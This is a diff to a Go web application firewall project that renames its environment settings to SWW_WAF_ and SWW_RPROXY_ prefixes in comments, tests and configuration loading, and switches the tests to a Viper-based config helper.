// SWW_BAN_RESPONSE is close. Written past rq.out, since the log line's
|
// SWW_WAF_BAN_RESPONSE is close. Written past rq.out, since the log line's
|
||||||
// status stays 0: the visitor is sent nothing.
|
// status stays 0: the visitor is sent nothing.
|
||||||
rq.out.Header().Set(DispositionHeader, DispositionClose)
|
rq.out.Header().Set(DispositionHeader, DispositionClose)
|
||||||
rq.out.ResponseWriter.WriteHeader(http.StatusOK)
|
rq.out.ResponseWriter.WriteHeader(http.StatusOK)
|
||||||
|
|||||||
@@ -39,7 +39,7 @@ const (
|
|||||||
// reportBodyLimit is the longest body SPEC.md lets a report have.
|
// reportBodyLimit is the longest body SPEC.md lets a report have.
|
||||||
reportBodyLimit = 1 << 20
|
reportBodyLimit = 1 << 20
|
||||||
// anomalyClientPerMinute is the anomaly threshold these tests set.
|
// anomalyClientPerMinute is the anomaly threshold these tests set.
|
||||||
anomalyClientPerMinute = "SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE"
|
anomalyClientPerMinute = "SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The fields of a report, as "discriminator" in SPEC.md names them.
|
// The fields of a report, as "discriminator" in SPEC.md names them.
|
||||||
@@ -181,7 +181,7 @@ func (s *Discriminator) history() ratelimit.History {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// metrics returns what the metrics endpoint answers, for a server started with
|
// metrics returns what the metrics endpoint answers, for a server started with
|
||||||
// the token as SWW_METRICS_TOKEN.
|
// the token as SWW_WAF_METRICS_TOKEN.
|
||||||
func (s *Discriminator) metrics() string {
|
func (s *Discriminator) metrics() string {
|
||||||
s.t.Helper()
|
s.t.Helper()
|
||||||
|
|
||||||
@@ -1486,7 +1486,7 @@ func TestALargeBodyAnnouncedAndLongHeadersAreNoReasonToRefuse(t *testing.T) {
|
|||||||
func TestLogLevelHoldsBackNoRequestLine(t *testing.T) {
|
func TestLogLevelHoldsBackNoRequestLine(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s := startDiscriminator(t, "", map[string]string{"SWW_LOG_LEVEL": "error"})
|
s := startDiscriminator(t, "", map[string]string{"SWW_WAF_LOG_LEVEL": "error"})
|
||||||
|
|
||||||
// A refused question would write a process warning, held back at error.
|
// A refused question would write a process warning, held back at error.
|
||||||
req := s.question(siteA, client, "/")
|
req := s.question(siteA, client, "/")
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package discriminator
|
package discriminator
|
||||||
|
|
||||||
// The heuristic dnsbl. It reads SWW_REPUTATION_ACTION, and the DNSBL zones'
|
// The heuristic dnsbl. It reads SWW_WAF_REPUTATION_ACTION, and the DNSBL zones'
|
||||||
// verdicts through the DNSBL checker.
|
// verdicts through the DNSBL checker.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -14,7 +14,7 @@ import (
|
|||||||
|
|
||||||
// dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed
|
// dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed
|
||||||
// does, adds the tag dnsbl=<zone> for each, the zone's key masked, and refuses
|
// does, adds the tag dnsbl=<zone> for each, the zone's key masked, and refuses
|
||||||
// the request when SWW_REPUTATION_ACTION is deny. Being
|
// the request when SWW_WAF_REPUTATION_ACTION is deny. Being
|
||||||
// limit, it lowers the client's limits instead (see limitPercentages), and
|
// limit, it lowers the client's limits instead (see limitPercentages), and
|
||||||
// being log, it does nothing more. A zone without a verdict on the client is
|
// being log, it does nothing more. A zone without a verdict on the client is
|
||||||
// asked about it in the background, and the request does not wait for the
|
// asked about it in the background, and the request does not wait for the
|
||||||
|
|||||||
@@ -37,7 +37,7 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// The lists of heuristics, each in the order its heuristics run. A client in
|
// The lists of heuristics, each in the order its heuristics run. A client in
|
||||||
// SWW_ALLOW_NETS skips them all.
|
// SWW_WAF_ALLOW_NETS skips them all.
|
||||||
|
|
||||||
// beforeLookup are the heuristics that run before the client's AS number and
|
// beforeLookup are the heuristics that run before the client's AS number and
|
||||||
// country are looked up, so that a client they refuse is not looked up.
|
// country are looked up, so that a client they refuse is not looked up.
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// The headers in which an answer of allow gives rproxy the client's AS number
|
// The headers in which an answer of allow gives rproxy the client's AS number
|
||||||
// and country, for the app, while SWW_ADD_LOOKUP_HEADERS is set. Go writes
|
// and country, for the app, while SWW_WAF_ADD_LOOKUP_HEADERS is set. Go writes
|
||||||
// every header name in this form, as it sends it and as it receives it, so
|
// every header name in this form, as it sends it and as it receives it, so
|
||||||
// X-Client-ASN arrives as X-Client-Asn; header names are not case-sensitive.
|
// X-Client-ASN arrives as X-Client-Asn; header names are not case-sensitive.
|
||||||
const (
|
const (
|
||||||
@@ -23,7 +23,7 @@ const (
|
|||||||
// lookUp looks up the client's AS number and country, in the lookup
|
// lookUp looks up the client's AS number and country, in the lookup
|
||||||
// database or through GeoJS, and notes them for the log line and as the
|
// database or through GeoJS, and notes them for the log line and as the
|
||||||
// request's asn= and country= tags, unless
|
// request's asn= and country= tags, unless
|
||||||
// SWW_LOOKUP_SOURCE is off or the client is on a private, loopback or
|
// SWW_WAF_LOOKUP_SOURCE is off or the client is on a private, loopback or
|
||||||
// link-local address, which no lookup can place. The lookup database
|
// link-local address, which no lookup can place. The lookup database
|
||||||
// answers at once. With GeoJS, while a setting needs the answer, such as a
|
// answers at once. With GeoJS, while a setting needs the answer, such as a
|
||||||
// country list or a biased threshold, a new client's request waits for it,
|
// country list or a biased threshold, a new client's request waits for it,
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ import (
|
|||||||
// and country.
|
// and country.
|
||||||
type asnAndCountry struct{ asn, asName, country string }
|
type asnAndCountry struct{ asn, asName, country string }
|
||||||
|
|
||||||
// fileSource is the SWW_LOOKUP_SOURCE that looks clients up in the
|
// fileSource is the SWW_WAF_LOOKUP_SOURCE that looks clients up in the
|
||||||
// lookup database.
|
// lookup database.
|
||||||
const fileSource = "file"
|
const fileSource = "file"
|
||||||
|
|
||||||
|
|||||||
@@ -17,9 +17,9 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name
|
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||||
metricsTopN = "SWW_METRICS_TOP_N"
|
metricsTopN = "SWW_WAF_METRICS_TOP_N"
|
||||||
// token is the SWW_METRICS_TOKEN the tests set, and bearer how a
|
// token is the SWW_WAF_METRICS_TOKEN the tests set, and bearer how a
|
||||||
// request carries it.
|
// request carries it.
|
||||||
token = "0123456789abcdef0123456789abcdef"
|
token = "0123456789abcdef0123456789abcdef"
|
||||||
bearer = "Bearer " + token
|
bearer = "Bearer " + token
|
||||||
@@ -113,7 +113,7 @@ func TestMetricsCountTheTraffic(t *testing.T) {
|
|||||||
func TestMetricsCountLimitsAndBans(t *testing.T) {
|
func TestMetricsCountLimitsAndBans(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const denied = "192.0.2.50" // in SWW_DENY_NETS
|
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
|
||||||
|
|
||||||
s, clk, _ := startWithClock(t, "", map[string]string{
|
s, clk, _ := startWithClock(t, "", map[string]string{
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
@@ -124,7 +124,7 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
|
|||||||
maxBanDuration: "2h",
|
maxBanDuration: "2h",
|
||||||
})
|
})
|
||||||
|
|
||||||
// SWW_BAN_RESPONSE=close sends no status at all.
|
// SWW_WAF_BAN_RESPONSE=close sends no status at all.
|
||||||
s.get(denied, 0, requestlog.ActionClientDenied)
|
s.get(denied, 0, requestlog.ActionClientDenied)
|
||||||
|
|
||||||
// A first broken limit bans for an hour.
|
// A first broken limit bans for an hour.
|
||||||
@@ -145,7 +145,7 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
|
|||||||
wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0)
|
wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0)
|
||||||
|
|
||||||
// A limit broken again right after would ban for three hours, longer
|
// A limit broken again right after would ban for three hours, longer
|
||||||
// than SWW_MAX_BAN_DURATION, so the ban is permanent.
|
// than SWW_WAF_MAX_BAN_DURATION, so the ban is permanent.
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
s.get(client, 0, requestlog.ActionClientIsRateLimited)
|
s.get(client, 0, requestlog.ActionClientIsRateLimited)
|
||||||
|
|
||||||
@@ -327,13 +327,13 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
|
|||||||
tagDeny: denyKP,
|
tagDeny: denyKP,
|
||||||
})
|
})
|
||||||
|
|
||||||
// GeoJS fails, so the client has no country= tag, and SWW_TAG_DENY does
|
// GeoJS fails, so the client has no country= tag, and SWW_WAF_TAG_DENY does
|
||||||
// not refuse it.
|
// not refuse it.
|
||||||
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
||||||
req.Header.Set(forwardedFor, fromDE)
|
req.Header.Set(forwardedFor, fromDE)
|
||||||
wantStatus(t, do(t, req), http.StatusOK)
|
wantStatus(t, do(t, req), http.StatusOK)
|
||||||
|
|
||||||
// The client stops waiting for GeoJS once SWW_LOOKUP_TIMEOUT is up, so
|
// The client stops waiting for GeoJS once SWW_WAF_LOOKUP_TIMEOUT is up, so
|
||||||
// GeoJS's failure can come after its request has ended.
|
// GeoJS's failure can come after its request has ended.
|
||||||
deadline := time.Now().Add(waitLimit)
|
deadline := time.Now().Add(waitLimit)
|
||||||
metrics := scrape(t, server.Addr)
|
metrics := scrape(t, server.Addr)
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// observe is the value of SWW_MODE for observe mode.
|
// observe is the value of SWW_WAF_MODE for observe mode.
|
||||||
const observe = "observe"
|
const observe = "observe"
|
||||||
|
|
||||||
func TestBanActionSaysWhetherTheBanRunsOut(t *testing.T) {
|
func TestBanActionSaysWhetherTheBanRunsOut(t *testing.T) {
|
||||||
@@ -118,12 +118,12 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const (
|
const (
|
||||||
denied = "192.0.2.50" // in SWW_DENY_NETS
|
denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
|
||||||
banned = otherClient // under a ban read from bans.json
|
banned = otherClient // under a ban read from bans.json
|
||||||
)
|
)
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
setting string // "" leaves SWW_MODE at its default
|
setting string // "" leaves SWW_WAF_MODE at its default
|
||||||
observe bool
|
observe bool
|
||||||
}{
|
}{
|
||||||
{"", false},
|
{"", false},
|
||||||
|
|||||||
@@ -34,15 +34,15 @@ const ownEndpointPrefix = "/_sww/"
|
|||||||
const HealthPath = "/_sww/healthz"
|
const HealthPath = "/_sww/healthz"
|
||||||
|
|
||||||
// MetricsPath is where the metrics are, for a request that carries
|
// MetricsPath is where the metrics are, for a request that carries
|
||||||
// SWW_METRICS_TOKEN.
|
// SWW_WAF_METRICS_TOKEN.
|
||||||
const MetricsPath = "/_sww/metrics"
|
const MetricsPath = "/_sww/metrics"
|
||||||
|
|
||||||
// BansPath is where an admin lists and adds bans, and, followed by / and
|
// BansPath is where an admin lists and adds bans, and, followed by / and
|
||||||
// a client's address, lifts them, with SWW_ADMIN_TOKEN.
|
// a client's address, lifts them, with SWW_WAF_ADMIN_TOKEN.
|
||||||
const BansPath = "/_sww/bans"
|
const BansPath = "/_sww/bans"
|
||||||
|
|
||||||
// ClientsPath is where an admin asks what discriminator knows of a client, by
|
// ClientsPath is where an admin asks what discriminator knows of a client, by
|
||||||
// the client's address after it, with SWW_ADMIN_TOKEN.
|
// the client's address after it, with SWW_WAF_ADMIN_TOKEN.
|
||||||
const ClientsPath = "/_sww/clients/"
|
const ClientsPath = "/_sww/clients/"
|
||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
@@ -55,16 +55,16 @@ type Params struct {
|
|||||||
// ProcessLog receives the process's own messages.
|
// ProcessLog receives the process's own messages.
|
||||||
ProcessLog *slog.Logger
|
ProcessLog *slog.Logger
|
||||||
// GeoJSURL is where clients' AS numbers and countries are looked up
|
// GeoJSURL is where clients' AS numbers and countries are looked up
|
||||||
// while SWW_LOOKUP_SOURCE is geojs, normally lookup.URL.
|
// while SWW_WAF_LOOKUP_SOURCE is geojs, normally lookup.URL.
|
||||||
GeoJSURL string
|
GeoJSURL string
|
||||||
// AbuseIPDBURL is where clients are checked with AbuseIPDB while
|
// AbuseIPDBURL is where clients are checked with AbuseIPDB while
|
||||||
// SWW_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL.
|
// SWW_WAF_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL.
|
||||||
AbuseIPDBURL string
|
AbuseIPDBURL string
|
||||||
// LookupFile is the lookup database they are looked up in while
|
// LookupFile is the lookup database they are looked up in while
|
||||||
// SWW_LOOKUP_SOURCE is file, and nil otherwise.
|
// SWW_WAF_LOOKUP_SOURCE is file, and nil otherwise.
|
||||||
LookupFile *lookup.File
|
LookupFile *lookup.File
|
||||||
// CoreRuleSet is what NewCoreRuleSet returns: what inspects requests
|
// CoreRuleSet is what NewCoreRuleSet returns: what inspects requests
|
||||||
// while SWW_WAF_MODE is not off, and nil while it is.
|
// while SWW_WAF_CORE_RULE_SET_MODE is not off, and nil while it is.
|
||||||
CoreRuleSet *coreruleset.CoreRuleSet
|
CoreRuleSet *coreruleset.CoreRuleSet
|
||||||
// Now tells the time by which requests are counted for the rate
|
// Now tells the time by which requests are counted for the rate
|
||||||
// limits, bans are made and run out, and GeoJS's answers are kept,
|
// limits, bans are made and run out, and GeoJS's answers are kept,
|
||||||
@@ -77,17 +77,17 @@ type Params struct {
|
|||||||
// permanent, for each count over an anomaly threshold, for each request
|
// permanent, for each count over an anomaly threshold, for each request
|
||||||
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
|
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
|
||||||
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
|
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
|
||||||
// SWW_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
|
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
|
||||||
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
|
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
|
||||||
// or the day's AbuseIPDB checks used up.
|
// or the day's AbuseIPDB checks used up.
|
||||||
Alerts *alerts.Queue
|
Alerts *alerts.Queue
|
||||||
}
|
}
|
||||||
|
|
||||||
// Server is the server discriminator runs, with the parts whose state the state
|
// Server is the server discriminator runs, with the parts whose state the state
|
||||||
// files keep, the lookup database, nil unless SWW_LOOKUP_SOURCE is file, the
|
// files keep, the lookup database, nil unless SWW_WAF_LOOKUP_SOURCE is file, the
|
||||||
// lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
|
// lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
|
||||||
// AbuseIPDB's scores and checks spent, and the metrics. RouteWatch, nil while
|
// AbuseIPDB's scores and checks spent, and the metrics. RouteWatch, nil while
|
||||||
// SWW_ROUTEWATCH_URL is unset, keeps its answers in memory only.
|
// SWW_WAF_ROUTEWATCH_URL is unset, keeps its answers in memory only.
|
||||||
type Server struct {
|
type Server struct {
|
||||||
*http.Server
|
*http.Server
|
||||||
|
|
||||||
@@ -185,7 +185,7 @@ func newHandler(params Params) *handler {
|
|||||||
// newReputation returns the lists fetched from URLs, the DNSBL zones'
|
// newReputation returns the lists fetched from URLs, the DNSBL zones'
|
||||||
// verdicts and AbuseIPDB's scores, as the settings in params name them,
|
// verdicts and AbuseIPDB's scores, as the settings in params name them,
|
||||||
// with none fetched, asked for or checked yet, and adds their metrics to
|
// with none fetched, asked for or checked yet, and adds their metrics to
|
||||||
// m, AbuseIPDB's while SWW_ABUSEIPDB_KEY is set.
|
// m, AbuseIPDB's while SWW_WAF_ABUSEIPDB_KEY is set.
|
||||||
func newReputation(
|
func newReputation(
|
||||||
params Params, m *metrics.Metrics,
|
params Params, m *metrics.Metrics,
|
||||||
) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) {
|
) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) {
|
||||||
@@ -218,11 +218,11 @@ func newReputation(
|
|||||||
return lists, dnsbl, abuseIPDB
|
return lists, dnsbl, abuseIPDB
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
|
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL,
|
||||||
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
|
// without the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off, reading bodies
|
||||||
// up to SWW_WAF_BODY_LIMIT, with the exclusions in
|
// up to SWW_WAF_CORE_RULE_SET_BODY_LIMIT, with the exclusions in
|
||||||
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
|
// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_CORE_RULE_SET_MODE is
|
||||||
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
|
// off. It reads at most QuestionBodyMaxBytes less one byte: a question's body of
|
||||||
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
|
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
|
||||||
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
|
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
|
||||||
// an error in every mode. While the mode is off, a set file is loaded with the
|
// an error in every mode. While the mode is off, a set file is loaded with the
|
||||||
@@ -238,7 +238,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
|
|||||||
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
|
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
|
return nil, fmt.Errorf("SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.WAFMode == config.WAFModeOff {
|
if cfg.WAFMode == config.WAFModeOff {
|
||||||
|
|||||||
@@ -17,6 +17,7 @@ import (
|
|||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
@@ -55,35 +56,35 @@ const (
|
|||||||
|
|
||||||
// The settings the tests set.
|
// The settings the tests set.
|
||||||
const (
|
const (
|
||||||
mode = "SWW_MODE"
|
mode = "SWW_WAF_MODE"
|
||||||
trustedProxies = "SWRP_TRUSTED_PROXIES"
|
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||||
ipv6GroupPrefix = "SWW_IPV6_GROUP_PREFIX"
|
ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX"
|
||||||
maxTrackedClients = "SWW_MAX_TRACKED_CLIENTS"
|
maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS"
|
||||||
allowNets = "SWW_ALLOW_NETS"
|
allowNets = "SWW_WAF_ALLOW_NETS"
|
||||||
rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
|
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
|
||||||
denyNets = "SWW_DENY_NETS"
|
denyNets = "SWW_WAF_DENY_NETS"
|
||||||
rateLimitPerMinute = "SWW_RATE_LIMIT_PER_MINUTE"
|
rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE"
|
||||||
rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
|
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
|
||||||
rateLimitExemptPaths = "SWW_RATE_LIMIT_EXEMPT_PATHS"
|
rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS"
|
||||||
lookupSource = "SWW_LOOKUP_SOURCE"
|
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
|
||||||
lookupDBPath = "SWW_LOOKUP_DB_PATH"
|
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
|
||||||
lookupTimeout = "SWW_LOOKUP_TIMEOUT"
|
lookupTimeout = "SWW_WAF_LOOKUP_TIMEOUT"
|
||||||
addLookupHeaders = "SWW_ADD_LOOKUP_HEADERS"
|
addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS"
|
||||||
tagDeny = "SWW_TAG_DENY"
|
tagDeny = "SWW_WAF_TAG_DENY"
|
||||||
// denyKP is the value of SWW_TAG_DENY that refuses fromKP's country.
|
// denyKP is the value of SWW_WAF_TAG_DENY that refuses fromKP's country.
|
||||||
denyKP = "country=KP"
|
denyKP = "country=KP"
|
||||||
allowedCountries = "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"
|
allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
|
||||||
banResponse = "SWW_BAN_RESPONSE"
|
banResponse = "SWW_WAF_BAN_RESPONSE"
|
||||||
limitBanDuration = "SWW_LIMIT_BAN_DURATION"
|
limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION"
|
||||||
limitBanRepeatWindow = "SWW_LIMIT_BAN_REPEAT_WINDOW"
|
limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW"
|
||||||
maxBanDuration = "SWW_MAX_BAN_DURATION"
|
maxBanDuration = "SWW_WAF_MAX_BAN_DURATION"
|
||||||
maxBans = "SWW_MAX_BANS"
|
maxBans = "SWW_WAF_MAX_BANS"
|
||||||
banScopeV4Prefix = "SWW_BAN_SCOPE_V4_PREFIX"
|
banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
|
||||||
instanceName = "SWW_INSTANCE_NAME"
|
instanceName = "SWW_WAF_INSTANCE_NAME"
|
||||||
logRequestHeaders = "SWW_LOG_REQUEST_HEADERS"
|
logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS"
|
||||||
attackBanDuration = "SWW_ATTACK_BAN_DURATION"
|
attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION"
|
||||||
rulesDir = "SWW_RULES_DIR"
|
rulesDir = "SWW_WAF_RULES_DIR"
|
||||||
wafMode = "SWW_WAF_MODE"
|
wafMode = "SWW_WAF_CORE_RULE_SET_MODE"
|
||||||
)
|
)
|
||||||
|
|
||||||
// off is the value that switches a setting off.
|
// off is the value that switches a setting off.
|
||||||
@@ -296,8 +297,8 @@ func startProxyWithGeoJS(
|
|||||||
|
|
||||||
// startProxyWithClock is startProxyWithGeoJS with requests counted and
|
// startProxyWithClock is startProxyWithGeoJS with requests counted and
|
||||||
// bans made by the time now tells, and returns discriminator's server as well, whose
|
// bans made by the time now tells, and returns discriminator's server as well, whose
|
||||||
// Addr is where discriminator listens. Unless env sets SWW_RULES_DIR, it is an empty
|
// Addr is where discriminator listens. Unless env sets SWW_WAF_RULES_DIR, it is an
|
||||||
// directory, of no rules, and unless it sets SWW_INSTANCE_NAME, that is app,
|
// empty directory, of no rules, and unless it sets SWW_WAF_INSTANCE_NAME, that is app,
|
||||||
// the label instance of every metric.
|
// the label instance of every metric.
|
||||||
func startProxyWithClock(
|
func startProxyWithClock(
|
||||||
t *testing.T, appURL, geojsURL string, now func() time.Time,
|
t *testing.T, appURL, geojsURL string, now func() time.Time,
|
||||||
@@ -347,25 +348,21 @@ func serve(t *testing.T, server *discriminator.Server) {
|
|||||||
|
|
||||||
// startRProxy starts rproxy in front of the app at appURL, asking the discriminator
|
// startRProxy starts rproxy in front of the app at appURL, asking the discriminator
|
||||||
// at discriminatorAddr, with the settings in env on top of the defaults, and returns
|
// at discriminatorAddr, with the settings in env on top of the defaults, and returns
|
||||||
// where it listens. What it writes is dropped. SWRP_TIMEOUT_MS is a minute unless
|
// where it listens. What it writes is dropped. SWW_RPROXY_TIMEOUT_MS is a minute unless
|
||||||
// env sets it, so that on a busy host SWRP_DEFAULT_DISPOSITION does not decide.
|
// env sets it, so that on a busy host SWW_RPROXY_DEFAULT_DISPOSITION does not decide.
|
||||||
func startRProxy(
|
func startRProxy(
|
||||||
t *testing.T, discriminatorAddr, appURL string, env map[string]string,
|
t *testing.T, discriminatorAddr, appURL string, env map[string]string,
|
||||||
) string {
|
) string {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
settings := map[string]string{
|
settings := map[string]string{
|
||||||
"SWRP_WAF_BACKEND": "http://" + discriminatorAddr,
|
"SWW_RPROXY_WAF_BACKEND": "http://" + discriminatorAddr,
|
||||||
"SWRP_UPSTREAM_URL": appURL,
|
"SWW_RPROXY_UPSTREAM_URL": appURL,
|
||||||
"SWRP_TIMEOUT_MS": "60000",
|
"SWW_RPROXY_TIMEOUT_MS": "60000",
|
||||||
}
|
}
|
||||||
maps.Copy(settings, env)
|
maps.Copy(settings, env)
|
||||||
|
|
||||||
cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
|
cfg, err := config.RProxyFromEnvironment(configtest.Viper(settings))
|
||||||
value, ok := settings[name]
|
|
||||||
|
|
||||||
return value, ok
|
|
||||||
})
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("settings %v: %v", settings, err)
|
t.Fatalf("settings %v: %v", settings, err)
|
||||||
}
|
}
|
||||||
@@ -397,11 +394,11 @@ func startRProxy(
|
|||||||
// settings in env make it. No alert is sent from the queue: they wait in it,
|
// settings in env make it. No alert is sent from the queue: they wait in it,
|
||||||
// for the test to look at.
|
// for the test to look at.
|
||||||
// With no geojsURL, there is no stand-in for GeoJS to look clients up at, and
|
// With no geojsURL, there is no stand-in for GeoJS to look clients up at, and
|
||||||
// SWW_LOOKUP_SOURCE is off unless env sets it. While it is file, the lookup
|
// SWW_WAF_LOOKUP_SOURCE is off unless env sets it. While it is file, the lookup
|
||||||
// database SWW_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
|
// database SWW_WAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
|
||||||
// at abuseIPDBURL while env sets SWW_ABUSEIPDB_KEY. SWW_WAF_MODE is off unless
|
// at abuseIPDBURL while env sets SWW_WAF_ABUSEIPDB_KEY.
|
||||||
// env sets it, so that only the tests of the Core Rule Set have their requests
|
// SWW_WAF_CORE_RULE_SET_MODE is off unless env sets it, so that only the tests of the
|
||||||
// inspected by it.
|
// Core Rule Set have their requests inspected by it.
|
||||||
func newDiscriminator(
|
func newDiscriminator(
|
||||||
t *testing.T, geojsURL string, now func() time.Time, env map[string]string,
|
t *testing.T, geojsURL string, now func() time.Time, env map[string]string,
|
||||||
) (*discriminator.Server, *output, *alerts.Queue) {
|
) (*discriminator.Server, *output, *alerts.Queue) {
|
||||||
@@ -426,11 +423,7 @@ func newDiscriminatorWith(
|
|||||||
|
|
||||||
maps.Copy(settings, env)
|
maps.Copy(settings, env)
|
||||||
|
|
||||||
cfg, err := config.FromEnvironment(func(name string) (string, bool) {
|
cfg, err := config.FromEnvironment(configtest.Viper(settings))
|
||||||
value, ok := settings[name]
|
|
||||||
|
|
||||||
return value, ok
|
|
||||||
})
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("settings %v: %v", settings, err)
|
t.Fatalf("settings %v: %v", settings, err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package discriminator
|
package discriminator
|
||||||
|
|
||||||
// The heuristic rate_limits. It reads SWW_RATE_LIMIT_EXEMPT_NETS,
|
// The heuristic rate_limits. It reads SWW_WAF_RATE_LIMIT_EXEMPT_NETS,
|
||||||
// SWW_RATE_LIMIT_EXEMPT_PATHS and SWW_BAN_RESPONSE, and the rate limits and
|
// SWW_WAF_RATE_LIMIT_EXEMPT_PATHS and SWW_WAF_BAN_RESPONSE, and the rate limits and
|
||||||
// biased thresholds through the limiter and limitPercentages.
|
// biased thresholds through the limiter and limitPercentages.
